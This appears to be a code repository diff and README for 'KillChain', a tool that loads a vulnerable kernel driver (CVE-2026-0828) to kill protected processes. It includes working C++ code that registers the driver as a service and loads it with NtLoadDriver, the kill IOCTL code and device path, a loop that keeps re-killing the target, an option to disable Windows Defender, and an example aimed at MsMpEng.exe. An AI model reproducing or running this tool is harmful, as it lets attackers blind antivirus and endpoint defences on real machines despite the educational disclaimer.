g_Logger.Error("Failed to enable SeLoadDriverPrivilege");
|
||||
return false;
|
||||
}
|
||||
g_Logger.Debug("SeLoadDriverPrivilege enabled.");
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool IsDriverLoaded(const std::string& driverFileName) {
|
||||
LPVOID drivers[1024];
|
||||
DWORD cbNeeded;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
int numDrivers = cbNeeded / sizeof(drivers[0]);
|
||||
for (int i = 0; i < numDrivers; i++) {
|
||||
char name[MAX_PATH];
|
||||
if (GetDeviceDriverBaseNameA(drivers[i], name, sizeof(name))) {
|
||||
if (_stricmp(name, driverFileName.c_str()) == 0)
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static void CleanupService(const std::string& driverName) {
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
auto NtUnload = (pNtUnloadDriver)GetProcAddress(hNtdll, "NtUnloadDriver");
|
||||
auto RtlInit = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
||||
|
||||
if (NtUnload && RtlInit) {
|
||||
std::wstring regPath = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + StringToWString(driverName);
|
||||
UNICODE_STRING uStr;
|
||||
RtlInit(&uStr, regPath.c_str());
|
||||
NTSTATUS status = NtUnload(&uStr);
|
||||
if (status == STATUS_SUCCESS) {
|
||||
g_Logger.Debug("Driver unloaded from kernel via NtUnloadDriver.");
|
||||
}
|
||||
else if (status == STATUS_OBJECT_NAME_NOT_FOUND) {
|
||||
g_Logger.Debug("Driver was not in kernel memory.");
|
||||
}
|
||||
else {
|
||||
g_Logger.Debug("NtUnloadDriver returned: 0x%08lx", status);
|
||||
}
|
||||
Sleep(300);
|
||||
}
|
||||
|
||||
SC_HANDLE scm = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
||||
if (scm) {
|
||||
SC_HANDLE svc = OpenServiceA(scm, driverName.c_str(), SERVICE_ALL_ACCESS);
|
||||
if (svc) {
|
||||
SERVICE_STATUS status;
|
||||
ControlService(svc, SERVICE_CONTROL_STOP, &status);
|
||||
DeleteService(svc);
|
||||
CloseServiceHandle(svc);
|
||||
g_Logger.Debug("SCM service deleted.");
|
||||
}
|
||||
CloseServiceHandle(scm);
|
||||
}
|
||||
|
||||
std::string regSubKey = "SYSTEM\\CurrentControlSet\\Services\\" + driverName;
|
||||
if (RegDeleteTreeA(HKEY_LOCAL_MACHINE, regSubKey.c_str()) == ERROR_SUCCESS) {
|
||||
g_Logger.Debug("Registry key deleted.");
|
||||
}
|
||||
Sleep(200);
|
||||
}
|
||||
|
||||
static bool UnloadDriverNT(const std::string& driverName) {
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
auto NtUnload = (pNtUnloadDriver)GetProcAddress(hNtdll, "NtUnloadDriver");
|
||||
auto RtlInit = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
||||
if (!NtUnload || !RtlInit) return false;
|
||||
|
||||
std::wstring regPath = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + StringToWString(driverName);
|
||||
UNICODE_STRING uStr;
|
||||
RtlInit(&uStr, regPath.c_str());
|
||||
NTSTATUS status = NtUnload(&uStr);
|
||||
|
||||
if (status == STATUS_SUCCESS) {
|
||||
g_Logger.Info("Driver unloaded successfully.");
|
||||
return true;
|
||||
}
|
||||
else if (status == STATUS_OBJECT_NAME_NOT_FOUND) {
|
||||
g_Logger.Debug("Driver was not loaded.");
|
||||
return true;
|
||||
}
|
||||
else {
|
||||
g_Logger.Error("Error unloading driver: 0x%08lx", status);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
static bool SetupDriverService(const std::string& driverPath, const std::string& driverName) {
|
||||
HKEY hKey;
|
||||
std::string regSubKey = "SYSTEM\\CurrentControlSet\\Services\\" + driverName;
|
||||
if (RegCreateKeyExA(HKEY_LOCAL_MACHINE, regSubKey.c_str(), 0, NULL, 0,
|
||||
KEY_ALL_ACCESS, NULL, &hKey, NULL) != ERROR_SUCCESS) {
|
||||
g_Logger.Error("Failed to create registry key.");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::string ntPath = "\\??\\" + driverPath;
|
||||
DWORD type = 1, start = 3, errorControl = 1;
|
||||
RegSetValueExA(hKey, "Type", 0, REG_DWORD, (BYTE*)&type, 4);
|
||||
RegSetValueExA(hKey, "Start", 0, REG_DWORD, (BYTE*)&start, 4);
|
||||
RegSetValueExA(hKey, "ErrorControl", 0, REG_DWORD, (BYTE*)&errorControl, 4);
|
||||
RegSetValueExA(hKey, "ImagePath", 0, REG_SZ, (BYTE*)ntPath.c_str(), (DWORD)ntPath.length() + 1);
|
||||
RegCloseKey(hKey);
|
||||
g_Logger.Debug("Registry key configured.");
|
||||
|
||||
SC_HANDLE scm = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (!scm) {
|
||||
g_Logger.Error("OpenSCManager failed: %lu", GetLastError());
|
||||
return false;
|
||||
}
|
||||
SC_HANDLE svc = CreateServiceA(scm, driverName.c_str(), driverName.c_str(), SERVICE_ALL_ACCESS,
|
||||
SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
|
||||
driverPath.c_str(), NULL, NULL, NULL, NULL, NULL);
|
||||
if (svc) {
|
||||
CloseServiceHandle(svc);
|
||||
g_Logger.Debug("Service created in SCM.");
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_EXISTS) {
|
||||
g_Logger.Debug("Service already exists in SCM.");
|
||||
}
|
||||
else {
|
||||
g_Logger.Warning("CreateService failed: %lu", GetLastError());
|
||||
}
|
||||
CloseServiceHandle(scm);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Main driver loading function
|
||||
int LoadDriver(bool forceReload) {
|
||||
std::string driverName = "EmbeddedDriverService";
|
||||
std::string tempDriverPath = GetTempDriverPath(driverName);
|
||||
std::string driverFile = GetFileNameFromPath(tempDriverPath);
|
||||
|
||||
if (IsDriverLoaded(driverFile)) {
|
||||
if (!forceReload) {
|
||||
g_Logger.Info("Driver is already loaded and active. Skipping load process.");
|
||||
return 0;
|
||||
}
|
||||
else {
|
||||
g_Logger.Warning("Driver is already loaded. Unloading before reload...");
|
||||
if (!UnloadDriverNT(driverName)) {
|
||||
g_Logger.Error("Failed to unload existing driver. Aborting reload.");
|
||||
return 1;
|
||||
}
|
||||
Sleep(500);
|
||||
}
|
||||
}
|
||||
|
||||
if (PathFileExistsA(tempDriverPath.c_str())) {
|
||||
g_Logger.Debug("Driver file exists. Cleaning up before extraction...");
|
||||
CleanupService(driverName);
|
||||
if (!DeleteTempDriver(tempDriverPath)) {
|
||||
g_Logger.Warning("Could not delete existing driver file. Attempting to overwrite anyway.");
|
||||
}
|
||||
Sleep(200);
|
||||
}
|
||||
|
||||
if (!EnableLoadDriverPrivilege()) {
|
||||
g_Logger.Error("Administrator privileges required.");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (!ExtractDriverToTemp(tempDriverPath)) {
|
||||
g_Logger.Error("Failed to extract driver.");
|
||||
return 1;
|
||||
}
|
||||
|
||||
g_Logger.Debug("Cleaning up previous remnants of: %s", driverName.c_str());
|
||||
CleanupService(driverName);
|
||||
|
||||
if (!SetupDriverService(tempDriverPath, driverName)) {
|
||||
g_Logger.Error("Error configuring registry/service.");
|
||||
DeleteTempDriver(tempDriverPath);
|
||||
return 1;
|
||||
}
|
||||
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
auto NtLoad = (pNtLoadDriver)GetProcAddress(hNtdll, "NtLoadDriver");
|
||||
auto RtlInit = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
||||
if (!NtLoad || !RtlInit) {
|
||||
g_Logger.Error("Could not obtain ntdll.dll functions.");
|
||||
DeleteTempDriver(tempDriverPath);
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::wstring regPath = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + StringToWString(driverName);
|
||||
UNICODE_STRING uStr;
|
||||
RtlInit(&uStr, regPath.c_str());
|
||||
|
||||
g_Logger.Debug("Executing NtLoadDriver...");
|
||||
NTSTATUS status = NtLoad(&uStr);
|
||||
|
||||
if (status == STATUS_SUCCESS) {
|
||||
g_Logger.Info("Driver loaded successfully.");
|
||||
}
|
||||
else if (status == STATUS_IMAGE_ALREADY_LOADED) {
|
||||
g_Logger.Warning("Driver was already loaded (race condition). Continuing.");
|
||||
}
|
||||
else {
|
||||
g_Logger.Error("NtLoadDriver error: 0x%08lx", status);
|
||||
DeleteTempDriver(tempDriverPath);
|
||||
return 1;
|
||||
}
|
||||
|
||||
Sleep(500);
|
||||
if (IsDriverLoaded(driverFile)) {
|
||||
g_Logger.Info("Driver active in kernel.");
|
||||
}
|
||||
else {
|
||||
g_Logger.Warning("Driver does not appear in memory.");
|
||||
}
|
||||
|
||||
g_Logger.Debug("Temporary file remains at: %s", tempDriverPath.c_str());
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Uninstall driver: unload, delete service, delete file
|
||||
int UninstallDriver() {
|
||||
std::string driverName = "EmbeddedDriverService";
|
||||
std::string tempDriverPath = GetTempDriverPath(driverName);
|
||||
std::string driverFile = GetFileNameFromPath(tempDriverPath);
|
||||
|
||||
g_Logger.Info("Uninstalling driver...");
|
||||
|
||||
// Try to unload from kernel
|
||||
if (IsDriverLoaded(driverFile)) {
|
||||
g_Logger.Debug("Driver is loaded. Unloading...");
|
||||
UnloadDriverNT(driverName);
|
||||
Sleep(500);
|
||||
}
|
||||
else {
|
||||
g_Logger.Debug("Driver is not loaded.");
|
||||
}
|
||||
|
||||
// Clean up service and registry
|
||||
CleanupService(driverName);
|
||||
|
||||
// Delete driver file
|
||||
if (PathFileExistsA(tempDriverPath.c_str())) {
|
||||
if (DeleteTempDriver(tempDriverPath)) {
|
||||
g_Logger.Info("Driver file deleted.");
|
||||
}
|
||||
else {
|
||||
g_Logger.Warning("Could not delete driver file. It may be in use.");
|
||||
}
|
||||
}
|
||||
else {
|
||||
g_Logger.Debug("Driver file not found.");
|
||||
}
|
||||
|
||||
g_Logger.Info("Driver uninstall completed.");
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <cstdarg>
|
||||
#include <cstdio>
|
||||
#include <string>
|
||||
|
||||
|
||||
|
||||
enum LogLevel {
|
||||
LOG_ERROR = 0,
|
||||
LOG_WARNING,
|
||||
LOG_INFO,
|
||||
LOG_DEBUG
|
||||
};
|
||||
|
||||
class Logger {
|
||||
private:
|
||||
HANDLE hConsole;
|
||||
HANDLE hLogFile;
|
||||
int minLevel;
|
||||
bool useConsole;
|
||||
bool useFile;
|
||||
CRITICAL_SECTION cs;
|
||||
|
||||
void WriteToConsole(const char* msg, WORD color) {
|
||||
if (!useConsole) return;
|
||||
SetConsoleTextAttribute(hConsole, color);
|
||||
DWORD written;
|
||||
WriteConsoleA(hConsole, msg, (DWORD)strlen(msg), &written, NULL);
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
}
|
||||
|
||||
void WriteToFile(const char* msg) {
|
||||
if (!useFile) return;
|
||||
DWORD written;
|
||||
WriteFile(hLogFile, msg, (DWORD)strlen(msg), &written, NULL);
|
||||
}
|
||||
|
||||
public:
|
||||
Logger() : hConsole(GetStdHandle(STD_OUTPUT_HANDLE)), hLogFile(INVALID_HANDLE_VALUE),
|
||||
minLevel(LOG_INFO), useConsole(true), useFile(false) {
|
||||
InitializeCriticalSection(&cs);
|
||||
}
|
||||
|
||||
~Logger() {
|
||||
if (hLogFile != INVALID_HANDLE_VALUE) CloseHandle(hLogFile);
|
||||
DeleteCriticalSection(&cs);
|
||||
}
|
||||
|
||||
void SetLogLevel(int level) {
|
||||
if (level < 0) level = 0;
|
||||
if (level > 3) level = 3;
|
||||
minLevel = level;
|
||||
}
|
||||
|
||||
bool SetOutputFile(const char* path) {
|
||||
if (hLogFile != INVALID_HANDLE_VALUE) CloseHandle(hLogFile);
|
||||
hLogFile = CreateFileA(path, GENERIC_WRITE, FILE_SHARE_READ, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
useFile = (hLogFile != INVALID_HANDLE_VALUE);
|
||||
return useFile;
|
||||
}
|
||||
|
||||
void Log(int level, WORD color, const char* format, ...) {
|
||||
if (level > minLevel) return;
|
||||
|
||||
char buffer[4096];
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
int len = _vsnprintf_s(buffer, sizeof(buffer), _TRUNCATE, format, args);
|
||||
va_end(args);
|
||||
if (len < 0) len = sizeof(buffer) - 1;
|
||||
buffer[len] = '\n';
|
||||
buffer[len + 1] = '\0';
|
||||
|
||||
EnterCriticalSection(&cs);
|
||||
WriteToConsole(buffer, color);
|
||||
WriteToFile(buffer);
|
||||
LeaveCriticalSection(&cs);
|
||||
}
|
||||
|
||||
void Error(const char* format, ...) {
|
||||
char buffer[4096];
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
int len = _vsnprintf_s(buffer, sizeof(buffer), _TRUNCATE, format, args);
|
||||
va_end(args);
|
||||
if (len < 0) len = sizeof(buffer) - 1;
|
||||
Log(LOG_ERROR, FOREGROUND_RED | FOREGROUND_INTENSITY, "[!] %s", buffer);
|
||||
}
|
||||
|
||||
void Warning(const char* format, ...) {
|
||||
char buffer[4096];
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
int len = _vsnprintf_s(buffer, sizeof(buffer), _TRUNCATE, format, args);
|
||||
va_end(args);
|
||||
if (len < 0) len = sizeof(buffer) - 1;
|
||||
Log(LOG_WARNING, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY, "[*] %s", buffer);
|
||||
}
|
||||
|
||||
void Info(const char* format, ...) {
|
||||
char buffer[4096];
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
int len = _vsnprintf_s(buffer, sizeof(buffer), _TRUNCATE, format, args);
|
||||
va_end(args);
|
||||
if (len < 0) len = sizeof(buffer) - 1;
|
||||
Log(LOG_INFO, FOREGROUND_GREEN | FOREGROUND_INTENSITY, "[+] %s", buffer);
|
||||
}
|
||||
|
||||
void Debug(const char* format, ...) {
|
||||
char buffer[4096];
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
int len = _vsnprintf_s(buffer, sizeof(buffer), _TRUNCATE, format, args);
|
||||
va_end(args);
|
||||
if (len < 0) len = sizeof(buffer) - 1;
|
||||
Log(LOG_DEBUG, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY, "[*] %s", buffer);
|
||||
}
|
||||
|
||||
void Raw(const char* msg, WORD color) {
|
||||
Log(minLevel, color, "%s", msg);
|
||||
}
|
||||
};
|
||||
|
||||
extern Logger g_Logger;
|
||||
|
||||
|
||||
void PrintLogo() {
|
||||
g_Logger.Raw("KillChain - Kernel Process Termination Tool", FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
g_Logger.Raw("Coded by Eleven Red Pandas: https://github.com/oxfemale / https://x.com/bytecodevm", FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
g_Logger.Raw("\n", FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,178 @@
|
||||
# KillChain
|
||||

|
||||
|
||||

|
||||
|
||||
> **?? Disclaimer:** This project is intended **strictly for educational and security research purposes**. The author is not responsible for any misuse, damage, or illegal activity caused by this tool. Use only in isolated lab environments with explicit permission.
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
**KillChain** is a user-mode tool that leverages a vulnerable kernel driver (`ProcessMonitorDriver.sys`, CVE-2026-0828) to terminate protected processes from user space. It communicates with the kernel via a custom IOCTL interface, bypassing standard process protection mechanisms.
|
||||
|
||||
The tool embeds the driver binary directly into the executable, extracts it to a temporary location at runtime, registers it as a kernel service, loads it via `NtLoadDriver`, and sends termination requests through `DeviceIoControl`.
|
||||
|
||||
---
|
||||
|
||||
## Demo
|
||||
|
||||
[](https://youtube.com/shorts/gF7_tfTjnHQ)
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
KillChain/
|
||||
??? KillChain.cpp — Entry point, CLI argument parsing, main termination loop
|
||||
??? LoadDriver.h — Driver extraction, service registration, NtLoadDriver/NtUnloadDriver logic
|
||||
??? Logger.h — Thread-safe console/file logging with color-coded output
|
||||
??? driverBytes.h — Embedded driver binary (raw byte array)
|
||||
|
||||
ProcessMonitorDriver.sys (embedded inside the executable)
|
||||
??? Exposes IOCTL_KILL_PROCESS (0xB822200C) — terminates a target process by PID
|
||||
```
|
||||
|
||||
### Execution Flow
|
||||
|
||||
```
|
||||
1. Parse CLI arguments
|
||||
2. Extract embedded .sys ? %TEMP%\EmbeddedDriverService.sys
|
||||
3. Create registry service key + register via SCM
|
||||
4. Load driver into kernel via NtLoadDriver (requires SeLoadDriverPrivilege)
|
||||
5. Open device handle: \\.\STProcessMonitorDriver
|
||||
6. Loop (up to 360 seconds):
|
||||
a. Resolve PID by name on every iteration (if --name was used)
|
||||
b. Send IOCTL_KILL_PROCESS with the target PID
|
||||
c. After 2 successful kills, optionally disable Windows Defender via registry
|
||||
7. Close device handle; optionally run --uninstall-driver cleanup
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Features
|
||||
|
||||
| Feature | Description |
|
||||
|---|---|
|
||||
| **Kill by PID** | Terminate any process by its numeric PID via kernel IOCTL |
|
||||
| **Kill by name** | Resolve and terminate a process by executable name, re-checked each iteration |
|
||||
| **Persistence loop** | Continuously monitors and re-terminates the target for up to 360 seconds |
|
||||
| **Disable Defender** | Writes to `HKLM\SOFTWARE\Policies\Microsoft\Windows Defender` to disable real-time protection |
|
||||
| **Embedded driver** | Driver binary is baked into the executable — no external `.sys` file required |
|
||||
| **Driver uninstall** | Unloads driver from kernel, removes SCM service, cleans registry, deletes temp file |
|
||||
| **Configurable logging** | Four verbosity levels with optional file output |
|
||||
|
||||
---
|
||||
|
||||
## Requirements
|
||||
|
||||
- Windows 10 / 11 (x64)
|
||||
- **Administrator privileges** — required for `SeLoadDriverPrivilege` and registry access
|
||||
- **Test Signing Mode** enabled, or a valid driver signature
|
||||
- Visual Studio 2022 with the **C++20** toolset
|
||||
|
||||
---
|
||||
|
||||
## Build
|
||||
|
||||
1. Open `KillChain.sln` in Visual Studio 2022
|
||||
2. Select the **Release | x64** configuration
|
||||
3. Press `Ctrl+Shift+B` to build
|
||||
|
||||
Output: `x64\Release\KillChain.exe`
|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
KillChain.exe [options]
|
||||
|
||||
Options:
|
||||
--pid <PID> Terminate process by PID
|
||||
--name <ProcessName> Terminate process by executable name
|
||||
--disable-defender Also disable Windows Defender via registry
|
||||
--log-level <0-3> Logging verbosity (0=errors, 1=normal, 2=verbose, 3=debug)
|
||||
--output <file> Save log output to file
|
||||
--uninstall-driver Unload driver, delete service and driver file
|
||||
--help Show this help
|
||||
```
|
||||
|
||||
### Examples
|
||||
|
||||
```
|
||||
REM Terminate a protected process by name
|
||||
KillChain.exe --name MsMpEng.exe
|
||||
|
||||
REM Terminate by PID with verbose logging written to a file
|
||||
KillChain.exe --pid 1234 --log-level 2 --output log.txt
|
||||
|
||||
REM Kill a process and disable Windows Defender afterwards
|
||||
KillChain.exe --name notepad.exe --disable-defender
|
||||
|
||||
REM Clean up the driver after testing
|
||||
KillChain.exe --uninstall-driver
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## IOCTL Interface
|
||||
|
||||
| Constant | Value |
|
||||
|---|---|
|
||||
| `IOCTL_KILL_PROCESS` | `0xB822200C` |
|
||||
|
||||
| Field | Type | Description |
|
||||
|---|---|---|
|
||||
| Input buffer | `ULONG64` | Target process PID |
|
||||
| Output buffer | `DWORD` | Unused (dummy) |
|
||||
| Device path | — | `\\.\STProcessMonitorDriver` |
|
||||
|
||||
---
|
||||
|
||||
## Logging
|
||||
|
||||
| Level | Value | Description |
|
||||
|---|---|---|
|
||||
| `LOG_ERROR` | 0 | Errors only |
|
||||
| `LOG_INFO` | 1 | Normal operational messages *(default)* |
|
||||
| `LOG_WARNING` | 2 | Warnings and informational messages |
|
||||
| `LOG_DEBUG` | 3 | Full debug trace |
|
||||
|
||||
Output is thread-safe (backed by a `CRITICAL_SECTION`) and can write to the console with ANSI colors and to a log file simultaneously.
|
||||
|
||||
---
|
||||
|
||||
## Driver Lifecycle
|
||||
|
||||
| Step | Win32 / NT API |
|
||||
|---|---|
|
||||
| Extract to temp | `CreateFile` + `WriteFile` |
|
||||
| Register service | `RegCreateKeyEx` + `CreateService` (SCM) |
|
||||
| Load into kernel | `NtLoadDriver` (ntdll) |
|
||||
| Verify active | `EnumDeviceDrivers` + `GetDeviceDriverBaseName` |
|
||||
| Unload from kernel | `NtUnloadDriver` (ntdll) |
|
||||
| Remove service | `DeleteService` (SCM) + `RegDeleteTree` |
|
||||
| Delete temp file | `DeleteFile` |
|
||||
|
||||
---
|
||||
|
||||
## CVE Reference
|
||||
|
||||
**CVE-2026-0828** — `ProcessMonitorDriver.sys` exposes an IOCTL that allows any user-mode caller with a handle to the device to terminate arbitrary processes — including protected system processes — without standard access-control checks.
|
||||
|
||||
---
|
||||
|
||||
## Author
|
||||
|
||||
**Eleven Red Pandas**
|
||||
|
||||
- GitHub: [https://github.com/oxfemale](https://github.com/oxfemale)
|
||||
- X: [https://x.com/bytecodevm](https://x.com/bytecodevm)
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
This project is provided for **educational and research purposes only**. Redistribution or use in production environments is strictly prohibited.
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 99 KiB |
BIN
Binary file not shown.
Reference in New Issue
Block a user